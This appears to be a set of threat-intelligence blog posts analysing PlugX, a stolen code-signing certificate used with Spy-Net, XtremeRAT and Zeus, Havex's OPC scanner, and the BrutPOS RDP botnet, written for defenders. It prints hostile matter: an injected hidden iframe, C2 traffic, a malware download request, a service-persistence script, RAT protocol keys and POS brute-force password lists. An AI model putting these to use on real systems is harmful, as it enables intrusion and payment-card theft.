PlugX Encryption Algorithm

PlugX has a variety of encryption algorithms used to encrypt its data across variants. However, the encryption style is largely similar as depicted in Figure 7.

Figure 7: PlugX Decryption Algorithm

Figure 7: PlugX Decryption Algorithm

In RasTls, the DWORD decryption key was found in the first four bytes of the encrypted string. It was also less aggressive in encrypting and hiding its data. In older variants such as “win3dx.DLL” (MD5: 7ADAE0335C9D6C9F3826CDE9747438B7), most API names were decrypted before loading and nullified after use. This makes understanding the malware slightly more difficult for malware analysts.

The supported functionalities are largely similar where it uses the identical command code. Below is a list of PlugX commands for file system manipulation:

  • 0×3000: GetDiskRelatedInformation
  • 0×3001: SearchDirectoryForFiles
  • 0×3002: SearchDirectoryRecursively
  • 0×3004: ReadFile
  • 0×3007: WriteFile
  • 0x300A: CreateDirectory
  • 0x300C: CreateWindowsDesktop
  • 0x300D: PerformSH_FileOperation
  • 0x300E: ExpandEnvironmentVariable

Some improvements were made by its developers. For example, the key logger function was updated to utilize the GetRawInputData API to collect keystrokes. “RegisterRawInputDevices” and “GetRawInputData” were two of the few API names that remain encrypted in RasTls.

Updated Key Logging Component

Figure 8: Updated Key Logging Component

PlugX / Kaba Trending

Figure 9 shows the trending of total PlugX / Kaba infections and their variants: SideBar and RasTLS. The spike in September 2013 was caused by SideBar. In 2014, we see SideBar and RasTLS on an inverse trend, with the latter on a steady increase.

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 9: Trending of Overall PlugX / Kaba , SideBar, RasTLS Infections

Figure 10 shows the distribution of SideBar/RasTls variants by country. The C2 servers are located in Hong Kong, where much of the attacks have occurred. We also find a variety of countries targeted by these variants. In some of the exploit documents delivering these variants, the content revolves around the theme of NGOs and socio-political events in China and Japan. These are content that would likely be of interest to the victims who would be opening the documents.

Figure 10: Distribution of SideBar/RasTls Variants by Country

Figure 10: Distribution of SideBar/RasTls Variants by Country

Conclusion

The Asia Pacific region remains a highly attractive target of advanced cyber-attacks. Many threat groups  have a particular in interest in this region, and are likely continue to launch new attacks against targets here. We recommend that users in this region block access to the above C2 servers. FireEye Labs will continue to monitor and report on new PlugX / Kaba developments.

 

The Little Signature That Could: The Curious Case of CZ Solution

Malware authors are always looking for new ways to masquerade their actions. Attackers are looking for their malware to be not only fully undetectable, but also appear valid on a system, so as not to draw attention. Digital signatures are one way malware authors keep under the radar. Digital signatures are an easy, quick way to verify the authenticity of an application utilizing the signature.

Threat actors routinely steal digital signing certificates to hide in plain sight. There are recent reports of banking Trojans such as Zeus, using valid signatures to get past both automated and human defenses. Part of performing accurate threat intelligence is continually looking to the past to help better predict the future. This is proven in the samples we will be discussing in this blog. Many of the samples throughout this blog are from the summer of 2013. These particular samples however, piqued our interest because of the mass distribution of RATs in a particular targeted region. It also reminded us of a recent XtremeRAT blog we published earlier in 2014.

The Little Signature That Could

While investigating an uptick in Spy-Net spam campaigns, we came across a malware binary that was digitally signed that struck our interest. Spy-Net allows an attacker to interact with the victim via a remote shell to upload/download files, interact with the registry, running processes and services as well as capture images of the desktop and record form the webcam and audio. It also contains functionality to extract saved passwords and turn the victim into a proxy server. During the build process, an attacker can choose to enable a keylogger and evasion functionality designed to stop the information process if a debugger or virtual machine is found.

We noticed that one of the Spy-Net binary files, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0), upon closer inspection, was utilizing a valid digital signature, from a company called CZ Solution Co. Ltd.

cz1

Figure 1: Signature Details of sc2.exe

Looking closer at the signature, we noticed that all of the details were intact, and appeared to be valid. There are two additional code-signing certificates issued to CZ Solution Co. Ltd.

cz2

Figure 2: Additional Signature Details

Investigation of sc2.exe showed typical Spy-Net behaviors. The sample beaconed out to ekinox.no-ip.info. From here, we decided to pivot off the CZ Solution signature and see what we could find.

Connections Emerge

As we started to pivot off the CZ Solution signature, we started to see some interesting commonalities. Pivoting proved that the CZ Solution signature was not just used in Spy-Net binaries. We quickly found that this signature was being used with XtremeRAT, a popular RAT that cybercriminals and targeted attackers use regularly. The code of XtremeRAT is shared amongst several other Delphi RAT projects including Spy-Net, CyberGate, and Cerberus.

XtremeRAT allows an attacker to:

  • Interact with the victim via a remote shell
  • Upload/download files
  • Interact with the registry
  • Manipulate running processes and services
  • Capture images of the desktop
  • Record from connected devices, such as a webcam or microphone

One binary for instance, m.exe (MD5: c27232691dacf4cff24a4d04b3b2896b) which was XtremeRAT, was seen beaconing out to http://omegaphotography.[co].uk, batardchris.servehttp.com /1234567890.functions, and www.batteurmag.com/[plugin].xtr.

Likewise, we saw multiple samples of the Zeus Trojan utilizing the CZ Solution signature. Zeus modifiers can tune Zeus to steal information they are interested in; typically login credentials for online social networkse-mail accountsonline banking or other online financial services. Zeus is commonly seen targeting customers of financial institutions.

One of the Zeus samples, uk.exe (MD5: dcd3e45d40c8817061f716557e7a05b6) that was utilizing the CZ Solution signature, was beaconing out to claire-morin.com/file.php.

Looking at the three samples show that CZ Solution was used to create and sign Spy-Net, XtremeRAT, and Zeus samples. Graphing out the connections between the samples we profiled, you can quickly see how fast this web of similarities continue.

cz3Figure 3: Connection Profile of Binaries Using CZ Solution

The French Connection and C2 overlap

Attribution of actors and/or campaigns can often be a difficult and tedious task. However, since we were dealing with so many inter-twining binaries, we could start to draw some parallels between samples.

When looking at the overall connections between the CZ solution signature, you can start to see a trend emerge.  First, there is some C2 overlap. For instance Dllsv.exe (MD5: 3f042fd6b9ce7e23b3c84c6f7323dd75) communicates out to ekinox.no-ip.info, using the same CZ Solution cert. This malware is flagged as BozokRAT; a user-friendly RAT that can upload and download files to and from a computer, modify registry entries, and perform other typical RAT functions. That same C2, ekinox.no-ip.info, is also seen used by the aforementioned Spy-Net binary, sc2.exe (MD5: 6a56f6735f4b16a60f39b18842fd97d0).

In another example of C2 overlap, a file named uk.exe, (MD5: 9c11ef09131a3373eef5c9d83802d56b) uses its C2 as omega-photography.co.uk. This sample is an active Zeus binary. That same C2 is used with a file named x.exe, (MD5: c27232691dacf4cff24a4d04b3b2896b), an active XtremeRAT binary.

Next, we needed to identify at least one infection vector to ensure we could track how one of the binaries using the CZ Solution signature was getting into environments.

In one case, we found the infection vector for an XtremeRAT binary that was using the CZ Solution certificate. The binary came in the form of phished email (MD5: 7c00ba0fcbfee6186994a8988a864385) purportedly from Armani regarding an order.

cz4

The email was in French and the headers were interesting, as the same sender has been seen in multiple French spam runs.

cz5

The attachment in the email is using the RTLO trick to disguise a 7zip file as a PDF.

While looking at the all the samples we correlated and pivoted off of, we found that a majority of both the language and C2’s being used all revolved around the French language. The domains that were part of the C2 infrastructure were almost all exclusively French, as was the registrant information for the domains in question.

Spy-Net C2 Protocol Analysis

As we have already shared some analysis details of XtremeRAT in a previous blog, we decided to share some information and tools we built regarding Spy-Net this time. This information is based on our analysis of Spy-Net version 2.6 specifically. Other versions of Spy-Net may have significant changes to the protocol. Spy-Net 2.6 utilizes a homegrown protocol like many other publicly available RATs. It’s an ASCII based, pipe-delimited protocol utilizing Portuguese keywords that employs two totally different forms of obfuscation: one for outbound communication to the attacker and another for inbound communication to the implant. The outbound communications are compressed with zlib and encrypted with RC4. The RC4 key is hard-coded and is updated with version changes. For example, the RC4 key for Spy-Net 2.6 is njkvenknvjebcddlaknvfdvjkfdskv, while for CyberGate 1.07, which has a similar (if not the same) protocol the key is njgnjvejvorenwtrnionrionvironvrnvcg107 and CyberGate 1.18’s key is njgnjvejvorenwtrnionrionvironvrnvcg117.

The astute reader may have noticed that the last three numbers of the CyberGate keys (roughly) represent the version number of CyberGate. The inbound communication to the implant employs an ASCII encoding scheme similar to Base64.  This protocol begins with a simple authentication scheme where the implant sends an authentication password that is validated by the client. This password is configurable by the attacker and defaults to abcd1234.  The implant then proceeds to send the entirety of its configuration information, as configured by the attacker, to the client so it can be displayed on its “Configuration” tab.

Authentication

Implant->Client: mypassword|Y|

Configuration Request and Response

Client->Implant: configuracoesdoserver|

Implant->Client: configuracoesdoserver|configuracoesdoserver|192.168.1.2:81|#myID|mypassword|C:\WINDOWS\install\server.exe|C:\Program Files\Internet Explorer\iexplore.exe| | |{0OP8GNN1-GIWW-CC7M-AJ0I-6Y554UOJJ241}|Policies|FALSE|TRUE|TRUE|TRUE|***MUTEX***| | |TRUE|FALSE| | | | | | |FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|FALSE|server.exe#crack.exe#|FALSE|

The outbound communications from the implant to the client are prepended with an ASCII representation of the length of the payload followed by a pipe character and a new line character.

cz6

There is a noticeable lack of sophistication in Spy-Net’s code. For example, in some cases the length indicator is followed by a pipe and a single new line (\n) character as seen in *nix based operating systems. In other cases, the indicator is followed by the carriage return and new line characters (\r\n), as seen in Windows operating systems. This lack of conformity is also witnessed in how there are two totally different schemes used for obfuscation, and in how obfuscation is not used for file transfers as it is otherwise used throughout the protocol.

Spy-Net Protocol Decoder

Since Spy-Net is a publicly available RAT that we see in use quite often, we decided to build a ChopShop module for it and share it in cooperation with our friends at MITRE.  The module is now available as a standard part of the framework available on GitHub.  We are also sharing a Spy-Net configuration dumping pycommand for Immunity Debugger.  While hunting for related samples in VirusTotal, we came across a pcap that had captured the initial infection and subsequent communication of the Spy-Net binary we initially mentioned, (MD5: 6a56f6735f4b16a60f39b18842fd97d0). This gave us a great opportunity to test our new decoder. One thing that Spy-Net implants will commonly send out automatically is a thumbnail image of the user’s desktop. This is displayed on the client.

cz7

Our decoder can extract such images from the pcap and what we found gave us a further hint that we may be dealing with attacks focused in France. Although difficult to read due to the very low resolution of the thumbnail, our pcap decoder was able to tell us that the title of the browser window currently open in this screenshot is “Football – MAXIFOOT l’actualit  foot et transfert – Windows Internet Explorer.”

cz8

Distribution via Malicious Java Applet

According to the details of the pcap we decoded, this French football Web site (maxifoot.fr) was apparently compromised and had an iframe inserted into it that pointed to another compromised Web site, a Canadian addiction recovery resource: unwasted.ca.

<iframe width=”1px” height=”1px” src=”hxxp://unwasted.ca/skins/index.html” style=”display: block;” ></iframe>

The latter site hosted a malicious Java applet that downloaded the Pony/Fareit malicious downloader. The downloader then proceeded to install ZeuS and download and execute the aforementioned Spy-Net binary. All of these binaries were signed with the stolen digital certificate. The malicious Java applet used to install the Pony downloader was created by Foxxy Software and had been previously written about by ESET.

RAT Configuration Details

We assembled a compilation of the meaningful configuration data found in the XtremeRAT and Spy-Net samples we came across in our analyses. You can observe some similarities between the samples’ configurations.

MD5 Version Dir/Path ID Group Mutex Password
f5e6c0a2c9000311513521947a76cb4b Spy-Net 2.6 C:\WINDOWS\system32\conhost\conhost.exe Updater2014 NA R5438NM5 abcd1234
6a56f6735f4b16a60f39b18842fd97d0 Spy-Net 2.6 C:\WINDOWS\system32\Winini\taskhost.exe Uframer NA A7TF5W abcd1234
7416ec2889227f046f48c15c45c102da XtremeRAT 3.5 Private InstallDir SpaM SPAM eyA8znpc NA
2e776e18dec61cf6ccd68fbacd55fab3 XtremeRAT 3.5 Private svhost Diesel Diesel lNFAH0 NA
be47ec66d861c35784da527bf0f2e03a XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH0 NA
c27232691dacf4cff24a4d04b3b2896b XtremeRAT 3.5 Private InstallDir IdSec idsection eyA8znpc NA
e79636e4c7418544d188a29481c100bb XtremeRAT 3.5 Private svhost IdSec USA3 lNFAH04 NA
bd70a7cae3ebf85cf1edd9ee776d8364 XtremeRAT 3.5 Private svhost IdSec IdSec lNFAH0 NA
0be3b0e296be33903bf76b8cd9cf52ca XtremeRAT 3.5 Private svhost CiTa IdSec x4KybsbM NA

Conclusion

The usage of digital signatures isn’t going to decrease anytime soon- especially by threat actors. It gives them a quick, easy way to bypass traditional security controls since certificates and signatures are typically trusted by default. In this blog, we are shown that this trend still true. We looked towards the past in this blog, to better understand motivations and trends going forward. We can accurately say, based on the information attributed, that the CZ Solution signatures were being utilized by an individual or group of individuals using French assets and infrastructure.

These particular actors didn’t show a significant level of expertise, but did show collective resources with knowledge in at least Zeus, Spy-Net, and XtremeRAT. We can say accurately that it is likely these actor(s) were using the same signature to send out a wide range of binaries, possibly even outside of the realm of the four families discussed here. As we wrote this blog, we couldn’t help but be reminded of the spam run focused in Colombia and Central America that we wrote about back in February of this year. A spam run that is regionally focused, but with no apparent targeting in nature, utilizing a mix of ZeuS and off-the-shelf RATs.

Helping protect your organization from threats using valid digital signatures can include verification of the signature’s serial number. In this case, the serial number: 6e 7b 63 95 ac 5b 5c 8a 2a ec c4 52 8d 9e 65 10, is the identifier to locate in regards to this publisher. Also, if you’re running your own internal certificate authority, ensure you are adequately revoking certificates that may have been compromised. This will help ensure compromised certificates are not utilized in attacks.

 

Havex, It’s Down With OPC

FireEye recently analyzed the capabilities of a variant of Havex (referred to by FireEye as “Fertger” or “PEACEPIPE”), the first publicized malware reported to actively scan OPC servers used for controlling SCADA (Supervisory Control and Data Acquisition) devices in critical infrastructure (e.g., water and electric utilities), energy, and manufacturing sectors.

While Havex itself is a somewhat simple PHP Remote Access Trojan (RAT) that has been analyzed by other sources, none of these have covered the scanning functionality that could impact SCADA devices and other industrial control systems (ICS). Specifically, this Havex variant targets servers involved in OPC (Object linking and embedding for Process Control) communication, a client/server technology widely used in process control systems (for example, to control water pumps, turbines, tanks, etc.).

Note: ICS is a general term that encompasses SCADA (Supervisory Control and Data Acquisition) systems, DCS (Distributed Control Systems), and other control system environments. The term SCADA is well-known to wider audiences, and throughout this article, ICS and SCADA will be used interchangeably.

Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown. We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it’s executed and the possible implications.

OPC Testing Environment

To conduct a true test of the Havex variant’s functionality, we constructed an OPC server test environment that fully replicates a typical OPC server setup (Figure 1[3]). As shown, ICS or SCADA systems involve OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware (such as a water pump, turbine, or tank). FireEye replicated both the hardware and software the OPC server setup (the components that appear within the dashed line on the right side of Figure 1).

havex1

Figure 1: Topology of typical OPC server setup

The components of our test environment are robust and comprehensive to the point that our system could be deployed in an environment to control actual SCADA devices. We utilized an Arduino Uno[1] as the primary hardware platform, acting as the OPC server. The Arduino Uno is an ideal platform for developing an ICS test environment because of the low power requirements, a large number of libraries to make programming the microcontroller easier, serial communication over USB, and cheap cost. We leveraged the OPC Server and libraries from St4makers[2] (as shown in Figure 2). This software is available for free to SCADA engineers to allow them to develop software to communicate information to and from SCADA devices.

havex2

Figure 2: OPC Server Setup

Using the OPC Server libraries allowed us to make the Arduino Uno act as a true, functioning OPC SCADA device (Figure 3).

havex3

Figure 3: Matrikon OPC Explorer showing Arduino OPC Server

We also used Matrikon’s OPC Explorer[1], which enables browsing between the Arduino OPC server and the Matrikon embedded simulation OPC server. In addition, the Explorer can be used to add certain data points to the SCADA device – in this case, the Arduino device.

havex4

Figure 4: Tags identified for OPC server

In the OPC testing environment, we created tags in order to simulate a true OPC server functioning. Tags, in relation to ICS devices, are single data points. For example: temperature, vibration, or fill level. Tags represent a single value monitored or controlled by the system at a single point in time.

With our test environment complete, we executed the malicious Havex “.dll” file and analyzed how Havex’s OPC scanning module might affect OPC servers it comes in contact with.

Analysis

The particular Havex sample we looked at was a file named PE.dll (6bfc42f7cb1364ef0bfd749776ac6d38). When looking into the scanning functionality of the particular Havex sample, it directly scans for OPC servers, both on the server the sample was submitted on, and laterally, across the entire network.

The scanning process starts when the Havex downloader calls the runDll export function.  The OPC scanner module identifies potential OPC servers by using the Windows networking (WNet) functions.  Through recursive calls to WNetOpenEnum and WNetEnumResources, the scanner builds a list of all servers that are globally accessible through Windows networking.  The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM) listed below:

Screen Shot 2014-07-17 at 12.31.56 PM

Figure 5: Relevant COM objects

Once OPC servers are identified, the following CLSIDs are used to determine the capabilities of the OPC server:

Screen Shot 2014-07-17 at 12.33.22 PM

            Figure 6: CLSIDs used to determine capabilities of the OPC server

When executing PE.dll, all of the OPC server data output is first saved as %TEMP%\[random].tmp.dat. The results of a capability scan of an OPC server is stored in %TEMP%\OPCServer[random].txt. Files are not encrypted or deleted once the scanning process is complete.

Once the scanning completes, the log is deleted and the contents are encrypted and stored into a file named %TEMP%\[random].tmp.yls.  The encryption process uses an RSA public key obtained from the PE resource TYU.  The RSA key is used to protect a randomly generated 168-bit 3DES key that is used to encrypt the contents of the log.

The TYU resource is BZip2 compressed and XORed with the string “1312312”.  A decoded configuration for 6BFC42F7CB1364EF0BFD749776AC6D38 is included in the figure below:

Screen Shot 2014-07-17 at 12.27.24 PM

Figure 7: Sample decoded TYU resource

The 4409de445240923e05c5fa6fb4204 value is believed to be an RSA key identifier. The AASp1… value is the Base64 encoded RSA key.

A sample encrypted log file (%TEMP%\[random].tmp.yls) is below.

00000000  32 39 0a 66 00 66 00 30  00 30 00 66 00 66 00 30 29.f.f.0.0.f.f.000000010  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000020  00 30 00 66 00 66 00 30  00 30 00 66 00 66 00 30 .0.f.f.0.0.f.f.000000030  00 30 00 66 00 66 00 30  00 30 00 66 00 37 39 36 .0.f.f.0.0.f.79600000040  0a 31 32 38 0a 96 26 cc  34 93 a5 4a 09 09 17 d3 .128..&.4..J….00000050  e0 bb 15 90 e8 5d cb 01  c0 33 c1 a4 41 72 5f a5 …..]…3..Ar_.00000060  13 43 69 62 cf a3 80 e3  6f ce 2f 95 d1 38 0f f2 .Cib….o./..8..00000070  56 b1 f9 5e 1d e1 43 92  61 f8 60 1d 06 04 ad f9 V..^..C.a.`…..00000080  66 98 1f eb e9 4c d3 cb  ee 4a 39 75 31 54 b8 02 f….L…J9u1T..00000090  b5 b6 4a 3c e3 77 26 6d  93 b9 66 45 4a 44 f7 a2 ..J<.w&m..fEJD..000000A0  08 6a 22 89 b7 d3 72 d4  1f 8d b6 80 2b d2 99 5d .j”…r…..+..]000000B0  61 87 c1 0c 47 27 6a 61  fc c5 ee 41 a5 ae 89 c3 a…G’ja…A….000000C0  9e 00 54 b9 46 b8 88 72  94 a3 95 c8 8e 5d fe 23 ..T.F..r…..].#000000D0  2d fb 48 85 d5 31 c7 65  f1 c4 47 75 6f 77 03 6b -.H..1.e..Guow.k

–Truncated–Probable Key Identifierff00ff00ff00ff00ff00ff00ff00fRSA Encrypted 3DES Key5A EB 13 80 FE A6 B9 A9 8A 0F 41…The 3DES key will be the last 24 bytes of the decrypted result.3DES IV88 72  94 a3 95 c8 8e 5d3DES Encrypted Logfe 23 2d fb 48 85 d5 31 c7 65 f1…

Figure 8: Sample encrypted .yls file

Execution

When executing PE.dll against the Arduino OPC server, we observe interesting responses within the plaintext %TEMP%\[random].tmp.dat:

Screen Shot 2014-07-17 at 12.41.27 PM

Figure 9: Sample scan log

The contents of the tmp.dat file are the results of the scan of the network devices, looking for OPC servers. These are not the in-depth results of the OPC servers themselves, and only perform the initial scanning.

The particular Havex sample in question also enumerates OPC tags and fully interrogates the OPC servers identified within %TEMP%\[random].tmp.dat. The particular fields queried are: server state, tag name, type, access, and id. The contents of a sample %TEMP%\OPCServer[random].txt can be found below:

Screen Shot 2014-07-17 at 12.43.48 PM

Figure 10: Contents of OPCServer[Random].txt OPC interrogation

While we don’t have a particular case study to prove the attacker’s next steps, it is likely after these files are created and saved, they will be exfiltrated to a command and control server for further processing.

Conclusion

Part of threat intelligence requires understanding all parts of a particular threat. This is why we took a closer look at the OPC functionality of this particular Havex variant.  We don’t have any case study showcasing why the OPC modules were included, and this is the first “in the wild” sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however.

Since ICS networks typically don’t have a high-level of visibility into the environment, there are several ways to help minimize some of the risks associated with a threat like Havex. First, ICS environments need to have the ability to perform full packet capture ability. This gives incident responders and engineers better visibility should an incident occur.

Also, having mature incident processes for your ICS environment is important. Being able to have security engineers that also understand ICS environments during an incident is paramount. Finally, having trained professionals consistently perform security checks on ICS environments is helpful. This ensures standard sets of security protocols and best practices are followed within a highly secure environment.

We hope that this information will further educate industrial control systems owners and the security community about how the OPC functionality of this threat works and serves as the foundation for more investigation. Still, lots of questions remain about this component of Havex. What is the attack path? Who is behind it? What is their intention? We’re continuing to track this specific threat and will provide further updates as this new tactic unfolds.

Acknowledgements

We would like to thank Josh Homan for his help and support.

Related MD5s

ba8da708b8784afd36c44bb5f1f436bc

6bfc42f7cb1364ef0bfd749776ac6d38

4102f370aaf46629575daffbd5a0b3c9

References

BrutPOS: RDP Bruteforcing Botnet Targeting POS Systems

There have been an increasing number of headlines about breaches at retailers in which attackers have made off with credit card data after compromising point-of-sale (POS) terminals. However, what is not commonly discussed is the fact that one third of these breaches are a result of weak default passwords in the remote administration software that is typically installed on these systems. [1] While advanced exploits generate a lot of interest, sometimes it’s defending the simple attacks that can keep your company from the headlines.

In this report, we document a botnet that we call BrutPOS which uses thousands of compromised computers to scan specified IP address ranges for RDP servers that have weak or default passwords in an effort to locate vulnerable POS systems. [2]

BrutPOS

It is unclear exactly how the BrutPOS malware is being propagated. We have found that the malware is being distributed (along with a considerable amount of otherwise unrelated malware) by the site destre45[.]com. The attackers may have used a distribution service provided by other cybercriminals.

When executed, the malware copies itself to:

"%USERPROFILE%\%APPDATA%\llasc.exe"

It modifies the Windows Registry (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Run_) so that it will be restarted after a reboot.

The malware connects to the command and control server (C2) to report its status and receives a list of usernames/passwords and IP addresses to begin scanning.

POST /brut.loc/www/cmd.php HTTP/1.1
Content-type: multipart/form-data, boundary=XyEgoZ17
Cache-Control: no-cache
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 92.63.99.157
Content-Length: 212

–XyEgoZ17
content-disposition: form-data; name=”data”

{ “bad” : 0, “bruting” : false, “checked” : 1, “done” : true, “errors” : 0, “good” : 0, “goodslist” : “”, “pps” : 0.0, “threads” : 5, “v” : “0.0.0″ }

HTTP/1.1 200 OK
Date: Fri, 20 Jun 2014 13:22:53 GMT
Server: Apache/2.2.22 (@RELEASE@)
X-Powered-By: PHP/5.3.3
Set-Cookie: PHPSESSID=o68hcjj8lhkbprfbdkbj50lrr0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2056
Connection: close
Content-Type: text/html; charset=UTF-8

{“passwords”:”backupexec\r\nbackup\r\npassword\r\nPassword1\r\nPassw0rd\r\nPa$$w0rd1\r\nPass@word\r\nPassword\r\nclient\r\nP@ssw0rd\r\np@$$w0rd\r\npassw0rd\r\np@ssw0rd\r\npa$$w0rd”,”logins”:”backupexec\r\nbackup\r\ndatacard”,”servers”:”[IP ADDRESSES REDACTED]“,”botstart”:”1″,”stamp”:1308301912,”newthreads”:5,”interval”:50}

The infected system begins to make connections to port 3389; if the port is open it adds the IP to a list of servers to be brute forced with the supplied credentials. If the infected system is able to successfully brute force an RDP server, it reports back with credentials.

In total we found five C2 servers used by the BrutPOS botnet. Three of these servers are located on the same network in Russia; one of them is located in Iran. Only two of these servers remain active at this time.

C2 Country Network Status
62.109.16.195 Russia THEFIRST-NET Active
92.63.99.157 Russia THEFIRST-NET Active
78.154.54.42 Iran BSG Inactive
82.146.34.22 Russia THEFIRST-NET Inactive
62.113.208.37 Germany DE-23MEDIA Inactive

Based on the compile times of the samples we analyzed that connect to this C2 infrastructure, this botnet was active as of February 2014.

However, one of the active C2 servers was setup on May 28 and we believe that the second was setup in early June. We were able to recover information from these two C2 servers in mid-June that allowed us to gain a better understanding of this botnet.

The attackers are able to control the botnet from a web-based administration panel. This panel provides a statistical overview of the botnet.

brutpos1

The botnet had a total of 5622 compromised computers under its control, however, only a fraction of those systems are active at any given time (179 were active when we last checked). This page also displays the “current version” of the malware and if an infected system checking in reports an earlier version a new executable will be pushed down to it.

brutpos2

The attackers are able to view the details of the infected systems under their control including the IP address and geographic location as well as status of the infected systems’ brute forcing activities (bad / good / errors / threads / version) and the timestamp of the last connection to the C2. The attackers may also specify commands such as “reload” and “delete”.

Based on the IP addresses on this page, there are 5622 infected systems spread across 119 countries.

Country

Count

Percentage

Russia

881

15.67%

India

756

13.45%

Vietnam

422

7.51%

Iran

341

6.07%

Taiwan

232

4.13%

Ukraine

151

2.69%

Turkey

139

2.47%

Serbia

115

2.05%

Egypt

110

1.96%

Mexico

106

1.89%

brutpos3

This page lists the ranges of IP addresses that the attackers can specify to be scanned for RDP access and brute forced.

brutpos4

In total, the attackers specified 57 IP address ranges the majority of which (32) are located in the U.S.

brutpos5

The attackers can specify the user names and passwords that the infected systems use to brute force available RDP servers. Some of the usernames and password indicate that the attackers are looking for specific brands of POS systems (such as Micros). [3]

Usernames Passwords
admin
administrator
backup
backupexec
data
datacard
manager
micros
microssvc
pos
Admin
admin
Administrat0r
Administrator
administrator
backup
backupexec
client
client1
datacard
@dm1n
@dmin
micros
p0s
Passw0rd
Passw0rd1
Password
Pass@word
password
Password1
Pa$$w0rd1
Pa$$word
pa$$word
pos
P@ssw0rd
p@ssword
p@ssword1
p@$$w0rd

brutpos6

When an infected system reports back a successful RDP login, the attackers store the username/password and IP address of the RDP server as well as the IP address of the infected system that successfully brute forced it.

brutpos7

Of the 60 “good” RDP servers listed by the attackers the majority (51) are located in the U.S. The most common username was “administrator” (36) and the most common passwords were “pos” (12) and “Password1” (12).

Payment Card Theft

During our investigation, we discovered another executable that is potentially run on systems once credentials are obtained (e.g. 4aed6a5897e9030f09f13f3c51668e92). This variant is intended to extract payment card information stored within running processes. It has two distinct code paths depending on its ability to get debug permissions by calling RtlAdjustPrivilage(0×14,1,0…). This may be an attempt to identify a POS configuration. If it succeeds in getting debug permissions, it downloads the executable and executes it:


GET /brut.loc/www/bin/1.exe HTTP/1.1
Accept-Encoding: gzip
Connection: Keep-Alive
Accept-Language: ru-RU,en,*
User-Agent: Browser
Host: 82.146.34.22

If the malware fails to get debug permissions, it copies itself to %WINDIR%\lsass.exe and installs itself as a service. The following script is used to create and start the service:

sc create winserv binpath= C:\WINDOWS\lsass.exe type= own start= auto
sc start winserv
del 1.bat

When running as a service, the program scans the memory of all processes with the exception of csrss.exe and conhost.exe for potential payment card information. Candidates are verified using the Luhn checksum and saved to winsrv.sys. It uploads ‘winsrv.sys’ using FTP to the server 62.109.16.195.

Before connecting to the FTP server, the implant connects to smtp[.]gmail[.]com on port 25 and obtains the victim’s external IP address from the EHLO response. winsrv.sys is uploaded to the FTP serving using a filename consisting of a capital character followed by the IP address. The capital character prefixed to the filename is initialized to ‘A’ and is incremented through ‘Z’ for each new file. If the IP address isn’t obtained from smtp[.]gmail[.]com, a random four digit number is generated.

Attribution

While there is insufficient information to determine attribution, there is some information which indicates that the attackers are in Eastern Europe, probably Russia or Ukraine. In addition to the Russian language interface, we recovered web server logs and parsed out the six IP addresses that used the administration interface.

Two of the IP addresses were from PEOPLE-NET, an ISP in Ukraine. In both cases the “User-Agent” indicates that the requests were coming from an Alcatel mobile phone running Android:

"Mozilla/5.0 (Linux; Android 4.1.1; ALCATEL ONE TOUCH 5020D Build/JRO03C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.72 Mobile Safari/537.36 OPR/19.0.1340.69721"

Another Ukraine IP address, from the UKRTELNET-ADSL ISP, was also used. However, the “User-Agent” in this case was FireFox:

"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0"

There were also connections from an IP range in Russia assigned to the network “Macroregional_South” in Volvograd.

In addition to these connections there were also connections from the U.K. and France, however, these connections were made using VPN services provided by atomintersoft.com and vpnlux.net.

Honeypot

In order to understand the attacker’s intentions, we decided to setup a Windows 2008 R2 Server with POS software and allow the attackers to compromise it. In addition to POS software, we also put documents with fake credit card information on the Desktop. By mimicking the traffic generated by the infected systems under the attackers control, we were able send a username and password combination of “micros” and “admin” to the C2. We then waited for the attackers to connect.

We saw the attackers connect to the RDP instance 27 minutes after the fake username and password combination were sent to the C2. The attackers connected from three IP addresses. One of the IP addresses was in the same Ukrainian IP address range assigned to PEOPLE-NET that we saw in the C2 logs. Another was the same VPN based in the UK, while the third was assigned to INETHN in Honduras.

After connecting, the attackers immediately opened the document containing fake credit card information, then exited the system shortly after. The second access attempt occurred 4 minutes later, with little activity. The third access occurred 18 minutes later. The attackers, on the third access, then attempted to open the POS software; which was unsuccessful. The fourth access happened two minutes later, with very little activity. The fifth and final access happened approximately 4 hours later, which led the attackers to format the drive, thus attempting to wipe data trails.

Conclusion

POS systems remain a high priority target for cybercriminals. Based on a simple scanning attack, the attackers in this case were able leverage their botnet of over 5000 machines in order to acquire access to 60 systems in two weeks.

While new malware and more advanced attacks are taking place, standard attacks against weak passwords for remote administration tools presents a significant threat.

Notes

1. http://www2.trustwave.com/rs/trustwave/images/2014_Trustwave_Global_Security_Report.pdf

2. The BrutPOS malware was initially identified in March 2014 but the full scope of the botnet was still unknown at that time. http://www.alienvault.com/open-threat-exchange/blog/botnet-bruteforcing-point-of-sale-via-remote-desktop and http://deepflash.blogspot.ca/2014/02/rdp-bruterforcer-in-wild.html

3. Micros sells POS systems for the retail and hospitality industries http://www.micros.com/.

Acknowledgements

We would like to thank Josh Gomez for his help and support.

Samples

4c3d65c1d8e1d7a2815c0031be41efc7: BrutePOS_Brute
7391ff6f34f79df0ec7571f7afbf8f7a: BrutePOS_Brute
280d920531ba67d8fd81350877914985: BrutePOS_Brute
96487eb38687e84405f045f7ad8a115c: BrutePOS_Brute
c1fab4a0b7f4404baf8eab4d58b1f821: BrutePOS_Brute
6bcff459fbca8a64f1fd74be433e2450: BrutePOS_Brute
